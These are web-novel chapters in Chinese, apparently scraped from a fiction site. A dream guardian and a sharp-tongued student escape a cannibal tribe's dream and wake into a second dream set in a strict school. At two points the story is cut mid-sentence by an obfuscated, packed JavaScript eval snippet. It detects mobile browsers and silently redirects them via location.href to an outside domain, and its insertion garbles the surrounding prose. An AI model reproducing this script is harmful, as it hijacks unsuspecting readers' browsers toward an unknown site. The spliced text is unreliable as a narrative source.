“哈哈哈哈哈哈。”野人首领收起了手里的枪,大笑着环住了宋洹默的胳膊,一边比划一边说道,“呱呱呱咕咕咕。” 宋洹默被他搂着肩,一本正经地点了点头,回应道:“咕咕咕喳喳。” “哈哈哈,呱咕呱咕,呱呱呱呱呱呱。” 也不知道他说了什么,哄得野人首领很是开心,一阵爽朗的笑声后,俩人勾肩搭背地朝前走去,留下潼燏独自在风中凌乱。 她抽了抽嘴角,无语地目送着他们离去。 什么鬼啊?他说的跟自己有什么不一样吗? 凭什么他可以,她却不行! 宋洹默一路与他们热聊,很快就跟食人族的小弟们打成了一片,一行人浩浩荡荡地回到了大本营,站在茅屋前叽叽呱呱说个没完。 被抹布堵嘴的潼燏没人搭理,孤独地站在后方抗议着:“唔唔唔唔唔唔......”【我也是自己人,你们倒是管管我呀!】 唔了半天,一个女人走了过来,潼燏定睛一看,是那个往她身上抹蘸料的女人! 不会吧?难道又要吃她了? “唔唔唔!”潼燏吓得连连后退,却被她一个眼疾手快抓住了身上的绳子,轻轻一拉,绑着的麻绳哗啦一下散了开来。 ? 潼燏低头看了眼地上的绳子,原来她是来帮她解绑的。 “谢谢你呀,我叫潼燏,你叫什么名字呀?”潼燏嘿嘿一笑,套起了近乎。 “咕咕呱喳呱喳。”女人开了口,虽然听不懂,但声音却似百灵鸟般十分婉转悦耳。 她微笑着冲潼燏招了招手,带着她来到了一张长桌前。 “谢谢。”潼燏兴高采烈地坐了下来,这下终于不用变炸串了。 宋洹默走了过来站在她身边,十分周到地跟桌上所有的人都打了个招呼,潼燏看他那熟络的模样,游刃有余的社交方式,差点以为他也是食人族的一员了。 打点完人际关系后,宋洹默悠然自得地坐在了蒲团上,眼帘一敛,脸上的冰山再次凝固了起来。 潼燏见他忙完了,侧过身凑近问道:“你都跟他们说什么了,怎么一个个都跟你称兄道弟了?” “不知道。”宋洹默活动了一下脸部肌肉,随口道,“我乱说的。” “啊?”潼燏差点笑出了声,捂着嘴看了圈周围的人,呲着大牙悄声道,“那你这真是瞎猫对上了死耗子。” 宋洹默转头看向她,眼里浮现出一丝威胁,挑了挑眉道:“你话挺多啊,要不你自己去跟他们交流一下?” “不不不,还是你来吧。”潼燏赶紧收回了大牙,手动拉上了嘴上的拉链。 晚餐正式开始,五个野人小伙裹着褐色的树皮围裙,井然有序地端着铁质的餐盘上起了菜。 他们一个个身强力壮,八块结实的腹肌明晃晃地在众人面前晃荡,餐桌上的女人们纷纷朝他们抛去了媚眼,伸出手往他们肚子上狠狠一摸,惹得小伙子们黝黑的脸上泛起了桃红。 野人首领坐在长桌的最顶端,身边坐着一位穿着绿色树叶裙的女人,她的长发如绸缎般垂下,小麦色的皮肤下肌肉线条健硕流畅,浑身上下散发着一股浓浓的力量之美。 女人的手里握着一个银色的酒杯,胡子拉碴的首领一脸娇羞地靠在她的怀里与她推杯交盏,偶尔还发出几声嘤嘤的撒娇声,听得女人豪爽一笑,仰头喝下了手中的美酒,十分喜爱地捏了捏他那黑碳般的脸颊。 看来这应该是他的老婆,他们可真是恩爱。 潼燏赞赏地看了他们一眼,回头过一脸嫌弃地看着桌上这盘三分熟的不知名肉块,焦糊的肉层中心还在不断地往外冒着鲜红的血水,一股腥臭之气扑鼻而来,熏得她急忙捂住了鼻子。 怎么不放葱姜蒜啊! “这我可吃不了。”她惆怅地转过头,看了眼宋洹默的餐食。 他的面前是一块烤得外酥里嫩的新鲜牛排,焦黄的外层上还摆着一颗金灿灿的剥了皮的芒果。 一朵粉色的鲜花优雅地装饰在了白瓷盘边,他的手旁还放着一块洁净的白色毛巾,一副黄金打造的刀叉正整整齐齐地摆在一旁,静等着他的莅临。 ...... 潼燏瞬间垮了脸,这待遇相差也太大了吧,凭什么他能吃西餐! 正当她想发表自己的不满时,一旁有人杵了杵她的手臂,潼燏回头看去,坐在她右侧的男人徒手抓起盘里五分熟的肉块塞进嘴里扯下了一大半,血糊糊的肉汁立马从他脏污的嘴角里流了出来。 “嘿嘿嘿,呱呱咕。”他边嚼边冲她咧嘴一笑,黑黄的牙缝里卡着不少猩红的血肉,像极了一个刚杀完人就啃肉的变态杀人狂。 “呃......你多吃点。”潼燏慢吞吞地将脑袋转了回来,不敢再多看一眼。 谁料这男人又拍了拍她的肩膀,指了指盘里的肉,示意她赶紧吃。 “知道了知道了,你别催我了。”潼燏被他烦得不行又不好发作,担心自己再不吃,这人恐怕会直接抓起肉块塞进她的嘴里。 一想到这,她立马身子一歪靠向宋洹默,一脸谄媚道:“呦,你这牛排看着挺不错呀,要是不想吃的话,要不给我吧?” 宋洹默往后一仰,躲开了她的靠近,单手放在餐盘边,故意道:“谁说我不吃。” 潼燏见他不愿意,只好端起自己那盘惨不忍睹的肉块恳求道:“那你能不能给我一半?你看我这块肉多恶心,简直不是人吃的。” 宋洹默傲娇地撇了眼她木盘里的肉块,悠闲地拿起金灿灿的刀叉戳了下牛排上的芒果,拒绝道:“不给。” “干嘛这么小气。”潼燏气得戳了他一下,忍气吞声道,“你就这么见死不救?” 宋洹默瞥了她一眼,淡淡道:“你现在不是挺安全的吗?” “切,小气鬼。”潼燏不想再求他,坐直身体回到了自己的座位上。 “呱喳咕咕。”身旁的男人还在不停地催促着她,她忍无可忍,直接徒手抓起盘子里的肉块,心一横,屏住呼吸一口咬了下去,扯下一小块肉丝后快速地嚼了嚼。 一股又苦又酸涩还混合着浓重焦味腥臭味的反人类味道直冲上她的大脑,吞没了她所有的理智,随后又如狂风席卷般闯入了她的鼻腔,霸占了她全部的嗅觉与味蕾。 “呕……阿嚏!” 受尽折磨后,她打了一个震天动地的喷嚏,嘴里刚嚼碎的肉渣在气流的冲击下似火箭发射般喷了出去。 还好她有喷水的前车之鉴,及时低下了脑袋,不然对面那位漂亮的小姐姐可要遭殃了。 “噗嗤。” 脑袋上方传来一声短暂的笑声,潼燏拍干净裤腿上的残渣,吐掉嘴里剩余的恶臭肉渣,强忍着胃里的恶心抬起头气呼呼地看向那个嘲笑她的人。 宋洹默单手撑在桌上,抬起下巴看着她,他伸出一根手指,把自己的瓷盘推到她面前,一脸坏笑道:“我看你好像挺喜欢吃的,再来点?” “你!”潼燏真想抓起肉块扔到他的脸上,要不是她无缘无故失去了控梦之力,也不至于沦落至此。 “哼!”她深吸了口气,拍着胸脯不断地安慰自己不要跟一个小弟弟斤斤计较,君子报仇十年不晚,等着吧你! 不过,她又意识到了一个新的问题。 她刚才是真真切切地尝到了食物的味道,说明在这个梦里,除了痛觉和嗅觉,连味觉也恢复了真实。 看来除了这些乱七八糟的梦境内容外,这里已经跟现实世界没什么区别,要不是头顶那层泛光的结界时刻提醒着她还在梦里,她真的会觉得自己已经来到 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“呃.....”潼燏回忆了一下,她当了这么多年的梦境守护者,除了一开始觉得新奇外,后来好像就再也没有认真注意过了。 她仰头看向星空,挠了挠头,试着形容道:“还是不太一样的,它比我们现在看到的这片星空璀璨得多,它就像我们人类一样是一个独立的个体,每一颗星星都有独属于它自己的光芒,即使梦主离开了这个世界,它也会散发着纯白的星光,回到它出生的地方。” “什么地方?”宋洹默问道。 潼燏躺在草席上,明亮的眼神逐渐陷入了黑夜里,声音像是从远方传来般深远而又清晰:“那是一个叫初起的地方,一个人一旦去世就意味着他消失在了这个世界上,但他的梦境星星不会消失,它会自动回到初起里,所有经历过的梦都会永远地留存在那,人类的生命是短暂的,但他的梦是永恒的。” “永恒的梦......”宋洹默敛了敛眸,低喃道。 她说的话就像童话故事般一点点冲击着他对死亡的认知,在他一贯的思维里,死亡是心电监护仪上一段无法更改的直线,是心跳停止后的沉寂,也是□□消亡的终点。 “有什么意义。”宋洹默并不觉得这样的方式能改变什么,自嘲似的否认道,“人都已经死了。” 切,这人真是不解风情,潼燏偷偷地白了他一眼,振振有词道:“难道非要有意义才能证明一样东西的价值吗?一个人去世了,所有人都忘记他了,但他的梦还存在于这个宇宙的某一个角落里,我能从这些星星里看到他们千分之一的人生,这就是他们存在过的痕迹,是时间都无法抹去的。” 宋洹默对她的长篇大论不感兴趣,翻了个身背对着她,冷冷道:“你有空说这些谬论,还不如赶紧想想怎么结束这个梦。” “哼,你懂什么。”潼燏坐起身,对着他的后背打了一套空气拳。 这臭小子真是空有一副好皮囊,好好的脸上怎么长了这么一张无情的嘴。 “别在我背后搞小动作,你作为一个管理梦境的人,不会连一个小小的梦都搞定不了吧?”宋洹默察觉到她幼稚的举动,幽幽地开了口,每个字似乎都在嘲笑她的无能。 潼燏悻悻地收回了手,躺在草席上翘着二郎腿说道:“我已经跟你说过了,梦境的结束分三种,要么梦主自己意识到是梦后自动醒,要么因不可抗力因素半途醒来,要么做完整个梦后自然醒,你应该反思一下你自己为什么还不醒,是不是睡前干了什么偷鸡摸狗的事导致你睡得比猪还死,都有人要拿AK蹦你了还不醒。” “神经。”宋洹默翻了个白眼,回想了一下他睡前发生的事。 他八点从图书馆回来后坐在寝室的书桌前学习了一会,十一点准时洗漱上了床,期间没有任何多余的事情发生。 难道有什么被他忽略掉了? 11. 森林大逃亡(九) 宋洹默背着身思索了一阵,转身坐了起来,低头看向她问道:“不可抗力因素是指什么?” 潼燏嘿嘿一笑,眨巴着双眼一本正经道:“很多啊,比如你半夜睡着睡着从床上掉下来把自己摔醒了,比如你室友做噩梦一脚踹在你脑袋上把你踹醒了,也比如有人半夜起床喝水一不小心把水杯砸在了你的脚上把你痛醒了,这不可抗力因素太多太多了,说都说不完。” “你!”宋洹默知道她是故意这么说,刚想发作,目光一转看到了隔壁抱着长矛睡觉的野人首领,他嘴角一歪,偏头挠了挠耳朵,漫不经心道,“怎么感觉有点吵呢,还是让他们把你绑回树上去吧,这样我也好清静一些。” 说完,他便朝隔壁的野人抬起了手,招呼道:“哥,醒醒,你们快把这个女......” “等等!”潼燏一个鲤鱼打挺坐了起来,一把按下他的手阻止道,“哎呀,我就是跟你开个玩笑,你别当真嘛。” “哦?那你的意思是,我开不起玩笑?”宋洹默将自己的手臂抽了回来,嫌弃地拍了拍被她碰过的地方,随后又像是远离病毒般往后挪了一步,故作慵懒地等待着她的忏悔。 切,装什么装,我没嫌你脏就不错了,潼燏在心里气愤地腹诽着,狠狠瞪了一眼他身上那脏不拉几的白色短袖,刚想撅起嘴嘀咕几句,目光一抬,对上了一双满是戏谑的眼睛。 唉,人在屋檐下不得不低头啊! 她立即收回了眼中的不满,把腿一盘,双手放在膝盖上毕恭毕敬道:“怎么会呢,您是我见过最宽宏大量的人,接下来请让我为您好好解释一番。” 她露着标准的八颗牙齿的微笑,一脸真诚地看着宋洹默,试图唤醒他深藏在黑心肝里的那抹不知道还存不存在的良心:“不可抗力因素是指人在睡眠时身体遭受外力影响后醒来,不知道您的睡眠环境是否存在这些因素?当然我肯定是不希望它们存在的,因为这会影响到您的睡眠质量,但现在的处境十分危险,我还是非常期望能有这样的因素帮您脱离梦境,赶上早八。” 宋洹默接受到她的示好信息,满意地躺了下去,修长的腿搭在了另一条腿上,闭着眼懒洋洋道:“嗯,知道了,你退下吧。” “喳。”潼燏谄媚一笑,乖乖地躺了下去,背过身对着空气无声地骂骂咧咧了起来。 一会后,宋洹默缓缓睁开了眼睛,望着夜空有些出神。 他睡眠向来很好,几乎没有半夜醒过,而且他的室友睡觉一个比一个沉,不可能会中途醒来把他吵醒。 看来只能等明早七点的闹钟响起,才能结束这个荒唐的梦镜。 十分钟后,红灯笼般的太阳从东边升了起来,无数道金色的光芒自天空迸射而下,照亮了整片广阔的大地。 “喔喔喔!”山鸡们聚在山头上,高昂着长长的脖子发出了一声声尖利的啼叫声。 沉睡的野兽被它们吵醒,眼睛一眯,立马想好了今天早饭吃什么。 “这么快就天亮了。”宋洹默不耐烦地坐起身,他刚把今晚所有匪夷所思的事都理了一遍,还没等他想明白就要被迫起床了。 “是啊。”潼燏蹲在一旁麻溜地卷起了草席,习以为常道,“你忘了自己是在梦里了?” 梦境里的月升日落与现实世界截然不同,它完全随机,上一秒艳阳高照下一秒月黑风高也是极其常见的情况,有时候梦里的时间还能延伸至多年,梦主甚至能在梦里过完自己的一生,但醒来后就会发现,不过只是睡了一觉而已。 黄粱一梦。 “呱喳咕喳咕。”野人们一睁眼就忙碌了起来,一个个打水洗脸梳理起了头发。 一支白色包装的洗面奶在人群中传递了一圈,有人趁其他人不备,偷偷地往自己手上挤了一大坨,被眼尖的首领逮了个正着。 “嘎嘎呱!”他一巴掌呼在了小伙的脑门上,痛得他眼冒金星,脚下一个趔趄,差点摔进了水盆里。 不一会儿,几十张黑黝黝的脸上统一糊上了一层雪白,他们一边搓揉着细腻的泡沫,一边叽里呱啦地赞叹着新买的洗面奶用着就是好使。 隔壁房间的女人则比他们精致多了,她们拉开攀满鲜花藤蔓的衣柜门,在一群五颜六色的树叶裙中精挑细选了一件穿在了身上。 一个绑着麻花辫的女人换好衣服走了过来,从身后拿出了一只她亲手制作的鳄鱼皮小包。 她手握皮包,打开鸟骨做成的锁扣,神秘兮兮道:“咕咕咕呱喳喳嘎。” “咕咕。”众人一时兴奋不已,炯炯有神地等待着她的下一步动作。 直到她从包里掏出了一支黑色的细管。 “哇啊啊啊!” 此物一出,女人们齐齐尖叫了起来,激动的呐喊声化作一道声波冲破稻草铺成的屋顶,嘭的一声在半空中炸开。 “喳呱喳呱呱。”野人首领十分淡定,他熟练地指挥着男人们从储物间里搬出梯子,手脚麻利地爬上破漏的屋顶维修了起来。 “看来不管在哪个时代,口红都是女人的心头爱。”潼燏一边碎碎念着,一边自觉地卷起铺盖放到了墙边。 她看了眼站在门外的宋洹默,扁了扁嘴,好笑道:“真是幼稚。” 他们昨晚跑了一晚上,身上早已脏乱不堪,他本想用控梦之力变一套干净的衣物出来,但试了半天连块破布都没变出来,一生气,跑到屋外自己跟自己置起了气。 “真是个大傻子。” 潼燏啧啧了两声,刚想上前劝劝他,两个野人姐姐顶着烈焰红唇,拿着一坨黄绿相间的树叶走到了他们面前,指了指他俩身上的衣服说道:“呱呜喳呜呱。” “啥?”潼燏低头看了看自己的短袖,疑惑道,“什么意思?” 宋洹默撇了眼她们手里用树叶和树皮制成的衣服,冷冷地翻译道:“笨蛋,她是想让我们换上他们族里的衣服。” “what?”潼燏伸出四根手指,捏起她手上的树叶裙前后看了一圈,一堆破败的叶子在她的动作下哗啦啦地落了下来,吊带裙一下子变成了镂空短裙。 我嘞个去,这哪算得上是衣服啊,东缺一块西少一块的,这要是穿上,那可真成了野人了。 她连连摇起了头,将树叶裙塞回了她们的手里,委婉地拒绝道:“不好意思啊,这我穿不了,哪哪都漏,走光了可不好。” 一旁的宋洹默更是直接,他看也不看就抓起树皮围裙丢在了地上,惊得野人姐姐大呼一声,捡起地上的围裙对着他怒声道:“咕咕咕喳喳哇哇哇哇!” 屋里的野人首领听到动静走了出来,野人姐姐立即打起了小报告,一边比划一边添油加醋地将事情说了一遍,气得他再次举起枪对准了宋洹默的脑袋,怒骂道:“嘎嘎嘎呱呱!” 这食人族真是翻脸比翻书还快,昨天还请人家吃西餐,今天就请人家吃子弹。 潼燏赶紧戳了下宋洹默的手臂,低声劝道:“还是先把树皮接过来吧,好汉不吃眼前亏,你现在变不出什么东西,不如先从了。” “我不。”宋洹默不为所动,高傲地仰着脑袋俯视着野人首领凶狠的眼神,气焰甚至比对面还要强上几分。 野人首领见他如此强横,眼神一松,气势不由得弱了一些,尊严受挫的他更是火冒三丈,直接拉枪上膛,倔强地踮起脚,怒目圆瞪道:“喳嘎呜嘎哇哇!” 宋洹默神色一暗,硬是顶着枪口往前走了一步,一字一句厉声道:“我说了,不,穿。” “我真服了,这时候逞什么能啊。”眼看着双方越来越剑拔弩张,潼燏挣扎了半天,心一横走上前拦在了宋洹默的面前,帮他挡住了枪口的威胁。 她谄媚一笑,伸手将枪口微微地往旁边挪了挪,被迫当起了和事佬:“大哥,你冷静一点,我们穿就是了。” “让开,要穿你自己穿。” 宋洹默刚想推开她,却被她一把抓住了手掌,他眼神一震还没来得及反应,潼燏却抓起树皮围裙塞到了他的手里,跟个长辈似的教训起了他:“识时务者为俊杰,你在这里跟他犟有什么用,难道你还真想脑袋开花醒来变成智障啊,赶紧拿着衣服进去想想对策,别在这里浪费时间了。” 教训完他,她又笑呵呵地转过身,指了指身上的衣服和手里的树叶裙,又指了指一旁的茅草屋,比划了两下,示意他们要进屋才能换衣服。 “咕呱。”野人首领看懂了她的意思,拿着枪挥了挥,同意他们进屋。 “先进去。”潼燏拉着倔驴附身的宋洹默走进了茅屋最里面的房间里,探头往外看了一眼,松了口气道,“还好他们没跟进来,不然真得脱衣服了。” 宋洹默没有搭话,背靠在柱子上抬手摩挲了一下鼻尖,他望着趴在门框上的潼燏,浅色的瞳孔里掠过了一丝异样。 “你再努力想想,看能不能变出点东西来,就算是碰碰车也行啊,至少还能逃出这里。”潼燏把手里的树叶裙一扔,一边说着一边警惕地看着门外。 “你......” “怎么了?” 宋洹默一手横在胸前撑着自己的手肘,单手敲击着额头,不自在地问道:“你刚才......为什么要挡在我面前?” 她明知道那把枪很危险,也知道在梦里受伤会影响到现实世界,但她刚才还是义无反顾地帮他挡住了枪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14981194|161139||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口。 她……到底是为什么? “哪有什么为什么啊,我要是再不拦着,你这小脑袋可真得被崩了,你要是挂了对我有什么好处,唉?不对,说不定还真有。” 潼燏机智地转了转眼珠子,推测道:“你要是在梦里挂了说不定就醒了,咱俩就能出去了,唉,早知道不管你了。” ...... 好险,差点就被她感动到了。 “呵。”宋洹默冷笑一声,走到她身旁咬着牙说道,“然后我就变成一个智力只有三岁的傻子。” “啪。” 潼燏一抬手拍在了他的脑袋上,训斥道:“你既然知道,刚才还犟什么犟,还不赶紧想想怎么离开这里。” 宋洹默被她一掌拍得呆在了原地,震惊地摸着自己的脑袋,难以置信道:“你,你竟然打我?” “我哪有。”潼燏心虚地撇过了脸,狡辩道,“我只是轻轻地拍了你一下,想让你清醒一点。” “你……”宋洹默张了张嘴,一时间失去了语言组织能力。 他长这么大都没有人敢打他一下,可这个女人竟然一巴掌拍在了他的脑袋上! 真是太让人生气了! “哼。”他越想越气,不爽地哼了一声,转过身不再理她。 必须尽快结束这个梦,他再也不想跟这个女人多待一秒! 宋洹默急匆匆地在屋子里搜寻了一圈,找到了一扇隐藏在木柴后面的小门。 他搬开沉重的木柴,用力一拉打开了门,门底下沉积多年的尘土被大风一刮,呼啦啦地遍布了整个房间。 他立即捂住了口鼻,挥开迷眼的灰尘探头往外一看,出声道:“我们可以从这里一路跑到海边,海边有怪兽,他们不敢过来。” 潼燏捂着嘴,穿过黄色的尘土挤到他身边张望了一圈,问道:“你怎么知道他们不敢?” 宋洹默抬手敲了下她的脑门,以牙还牙道:“你能不能动动脑子,跑了一晚上你都没发现他们的活动范围只在森林里吗?” “嗯......好像也是。”潼燏吃痛地捂着脑袋,想起白天他们在海边时,那野人首领也只是远远地放了几支箭,直到他们跑进森林里才敢追上来。 看来海边不是他们的领地,他们不敢轻举妄动。 “走吧。” 宋洹默跨出门向前走去,潼燏也立马小跑着跟了上去,还没来得及窃喜,头顶突然传来一声长长的口哨声。 两人抬头一看,屋后的大树上竟蹲着一个放哨的野人小子,发现他们要逃跑,他立即把手放在嘴里吹响了暗号,通知给了屋门口的大部队。 “快跑!”潼燏大喊一声,顺手抄起木桩上插着的火把,用力一甩扔了出去。 没想到大力出奇迹,火把在空中风火轮似的转了几圈后精准地落在了屋顶上,稻草铺成的房顶瞬间燃起了熊熊烈火,烧断的草木源源不断地落了下来,点燃了下面的木桩。 “呱呱喳喳哇!”野人们这下哪还顾得上追他们,十几个男人围着茅草屋急得像热锅上的蚂蚁团团转,手忙脚乱地不知道该怎么办。 “呱呱嘎嘎喳!”涂完口红的女人们从屋子里冲了出来,她们稳如泰山,一把推开慌乱的男人,冲进隔壁的小屋里,拎出了三个巨大的红色灭火器。 她们有序地分成了三拨,一把拔掉安全插销,对着燃烧的屋顶一阵狂喷,火势很快小了下来,化成了一道浓烟。 男人们见状,围着她们手舞足蹈地庆祝了起来,这辈子真是没跟错人! 潼燏见食人族放弃了对他们的追捕,刚想开心一下,整个大地忽然剧烈震动了起来,蔚蓝的海水开始汹涌,无数的鱼儿争相跳出了水面,朝着岸上逃窜而来。 “嘭!”远处的火山发出了一声沉闷的巨响,堵塞已久的洞口似泄洪般喷出了一股股滚烫的红色岩浆。 陆地上所有的飞禽走兽都被这惊悚的场面吓得四处乱窜,尖叫声此起彼伏。 “什么情况?”宋洹默被晃得东倒西歪,他压低重心,努力平衡住自己的身体,疑惑间看到海边出现了一个闪烁着白色光芒的圆形光圈。 潼燏看到了它,激动地大喊道:“梦境结束了!” 宋洹默听到她的话,心中一喜,抓着她的手臂问道:“我们可以离开这个梦了?” “对啊,这是梦境结束时才会出现的光圈,天呐,我终于可以出去了!”潼燏兴奋地朝着光里跑去,一秒都不想耽误。 “终于结束了。” 宋洹默跟上她的步伐,一起跑进了光圈里,身后的梦境随着他们的离开,瞬间化为了虚无。 12. 校规(一) “你……怎么……” “你……起……来……” 半响后,耳边断断续续响起了人声,潼燏一激动,唰的一下睁开了眼睛。 一道刺眼的光芒瞬间照射在了她的脸上,晃得她两眼一闭,立马抬手遮住了眼睛。 炙热的阳光不断地在身上流连,潼燏心中一喜,看来是天亮了。 “终于出来了。”她捂着双眼,心有余悸道,“今晚入睡后我一定要熟读管理手册,看看究竟是哪里出了问题,真差点要了我小命了。” “你是该好好读一读学生手册,看看上面写着扰乱课堂会有什么后果。” 一个陌生男人的声音突然在她的头顶响起。 “谁!”潼燏被这突如其来的人声吓了一大跳,像只炸毛的小猫般浑身竖起了汗毛,她立即将手一撇,防备地睁开了眼睛。 一张满是横肉的脸出现在了她的面前。 男人的眼睛像下水道的老鼠般狭小逼仄,针眼大的眼缝里透出了一股令人毛骨悚然的阴险,又扁又塌的酒槽鼻上布满了大小不一的毛孔,里面像是历史悠久的坑洞般沉淀着又黑又黄的陈年油脂。 粗糙的五官被四周那黑肥的肉堆挤在中间变成了一片低矮的盆地,月球表面般的皮肤上挂着一连串令人作恶的汗油混合物,它们随着男人低头的动作,一晃一晃地快要滴了下来。 “啊!你谁啊!”潼燏一声尖叫,手忙脚乱地从地上爬了起来,颤抖着手指指着他咆哮道,“滚!从我房间里滚出去!” 男人被她一骂,瞬间火冒三丈,气得脸上的肉如地震般颤动了起来,他上前一把拎起了潼燏的后衣领,像提小鸡般轻轻松松地将她提了起来,张着香肠般肥厚的嘴唇恶狠狠道:“你叫谁滚出去?有本事再说一遍!” 潼燏被他提溜得连脚尖都离开了地面,她绷直了身体,不停地在空中晃动着双脚,反手抓着自己的衣领挣扎道:“你放开我!你谁啊你!想进来偷东西是不是!有本事你就放开我,咱俩下去练练,看我不把你揍得满地找牙。” “哼,就凭你?”男人山洞般宽大的鼻腔里发出了一声沉闷的不屑,他上下扫了她一眼,抖了抖高高耸起的苹果肌,鄙夷道,“你算什么东西,敢对我大呼小叫,我看你是找死。” “找你个头啊,赶紧给我放开!”潼燏气得喊了起来,眼神一瞥,十分迅速地朝他的下盘踹出了一脚。 但男人反应极快,手臂一伸又将她拎远了一些,导致她这使出全力的一脚软趴趴地踢在了空气里。 男人见她偷袭未遂,得意地又将她提高了一些,眯着本就看不到瞳孔的眼缝,嘲讽道:“就你这小身板还想偷袭我,来啊,有本事往我脸上踢。” “行啊,有本事你把脸凑过来啊!” “有本事你就踢过来,我倒要看看究竟是你的脚硬,还是我的手硬。” “......” “老师,潼燏她不是有意得罪您的,她是昨晚没睡好所以才说了这些胡话,请你原谅她吧。” 正当两人吵得不可开交时,一个温和清甜的声音从他俩的耳边传了过来。 潼燏停下挣扎,抬头一看,一个穿着蓝白校服的短发女生正站在她的面前,偷偷地冲她眨了眨眼睛。 ? 这又是哪位? 为什么她房间里进了这么多莫名其妙的人! 还没等她疑惑完,后领的力量一松,潼燏毫无防备地摔倒在了地上,疼得龇牙咧嘴,捂着屁股直呼道:“你松手不会说一声啊!” 男人站在她的头顶上方双手叉腰,脸上的横肉随着嘴部的动作上下抖动:“看在第一名的份上我今天饶了你,赶紧给我起来跑一万米,不跑完不许休息!” 什么?一万米? “神经吧你,你以为你是......”潼燏揉着摔疼的后脑勺,气呼呼地抬头看去,刚想接着跟他battle,结果目光一转,看到了他身后的大楼。 三栋银灰色的楼房高高地矗立在茂密的花草树木间,最中心的大楼顶端悬挂着一块巨型的白色牌匾,上面刻着八个红通通的醒目大字—— “第一优秀示范学校” ...... 潼燏倒吸了一口凉气,她……她不会是在一所学校里吧? “不不不,不可能,我明明已经从梦里出来了。”她看傻了眼,艰难地转过脑袋,惊恐地环顾起了四周。 硕大的操场上聚集着几十个穿着蓝白校服的学生,他们在男人的指挥下井然有序地活动着,有些人在红色的塑胶跑道上哼哧哼哧地跑着,有些人拿着篮球般大的铅球轻轻一甩扔了出去,砰的一声在沙地上砸出了一个二十厘米深的大坑。 他们看起来似乎都很忙,只有她一个人坐在草皮上无所事事。 “不,会,吧?”潼燏低头看了眼自己身上同款的蓝白校服,又抬头看到了天空上方闪烁着金色光芒的梦境结界。 脸一垮,无比绝望地确认了自己是真的还在梦里。 “啊啊啊……怎么会这样啊!” 她颓然地坐在地上,刚才还硬挺的肩膀一下子垮了下去,扁了扁嘴欲哭无泪道:“我怎么还在梦里?刚才不是已经出来了吗,怎么一睁眼还在梦里啊,这到底怎么回事,有没有人能告诉我啊......” 一旁的短发女生注意到她的情绪,走到她身边蹲了下来,关心道:“怎么了潼燏,你看起来好像不是很开心。” “我当然不开心了,换谁谁能开心啊。”潼燏愁眉苦脸地看了她一眼,无意间注意到她的胸前挂着一个白色的名牌,上面写着“第一名。” 女生见她不开心,腿一伸坐在草地上当起了心理医生,温柔道:“要是不介意的话,可以跟我说说原因吗?” 我能说什么呀,说了你也不会懂,潼燏无奈地叹了口气,垂头丧气道:“其实也没什么,我就是不想上课。” “你还坐在这里干什么!没听到我说的话是不是!”男人又半道而返,走上前往潼燏的屁股上狠狠踹了一脚,厉声道,“赶紧给我起来跑步!” “知道了,别喊了,耳朵都要被你喊聋了。”潼燏揉着被他踹疼的屁股,慢吞吞地从草地上爬了起来,起身一看,发现他的衣服上也别着一块名牌,定睛一看,上面写着“体育老师。” 啥?就他? 潼燏满脸嫌弃地上下扫了他一眼,这大腹便便的油腻男竟然是个体育老师? 这肚子大到都快把运动服撑爆了,就他这样的上了公交车,大爷都得主动给他让座。 体育老师见她还不动,一巴掌拍在她的背上,催促道:“快跑!” “咳咳,我跑就是了,你别动手动脚了。”潼燏被他一掌拍出了内伤,感觉身上的肋骨都差点被他拍断。 她干咳了几声,起身走到红色跑道上,极不情愿地迈开了腿。 “咦?我怎么动不了了?” 刚抬起腿她就发现了不对劲,她的身体就像一架刚从仓库里搬出来的尘封多年的老旧机器,一动就浑身咯吱咯吱地作响,腿上的关节像生锈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14996787|161139||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的零件卡壳了似的半天都伸展不开。 十分钟过去了,她的右腿还在原地倒腾。 体育老师眯着眼,脸上高高耸起的颧骨抖动了半天,频率甚至比她迈腿的速度还快了不少。 他看了一会,再也忍无可忍,咧着香肠嘴咬牙切齿道:“你干嘛呢?在这给我表演慢动作呢?” “我~没~有~啊~”潼燏像树懒般以极慢的速度抬起了腿,语速也跟着动作慢了下来,拉长了尾调慢悠悠道,“我~也~不~知~道~怎~么~了~” 体育老师白眼都快翻上了天,手一指怒声道:“你再给我装一下试试,想再加一万米是吧?” “不~要~啊~老~师~我~真~的~没~有~装~”潼燏心里那叫一个委屈,她气恼地瞪着自己的腿,在心里暗骂道,死腿,快跑啊,再不跑又要加一万米了,你要害死我是不是。 “快~跑~啊~”她咬着牙使出了吃奶的劲,但两腿依旧不听使唤,继续以三分钟一厘米的速度缓慢向前迈着。 “你给我停下!” “好嘞。”潼燏收到指令,伸到半道的腿很是利索地落在了地上,快到她自己都没有反应过来。 “你!”体育老师被她气得呼吸都不顺畅了,粗大的脖子涨得通红,耸着一起一伏的肚子,指了指一旁的围墙命令道,“你给我面壁去,站一天!别再让我看到你!” “好的老师,我现在就去。” 潼燏求之不得,立即屁颠屁颠地跑到了围墙边,这下她终于有时间观察一下这所未知的学校了。 目前看来,除了这体育老师有点毛病外,其他人都看着挺正常的。 而且这学校环境跟现实世界大差不差,连教学楼都一模一样,要不是在做梦,她都要怀疑自己是不是真的穿越回学生时代了。 不过要是真的能穿越回学生时代也行啊,总比困在梦里出不去好吧! 唉,算了,来都来了,先看看这是个什么梦吧。 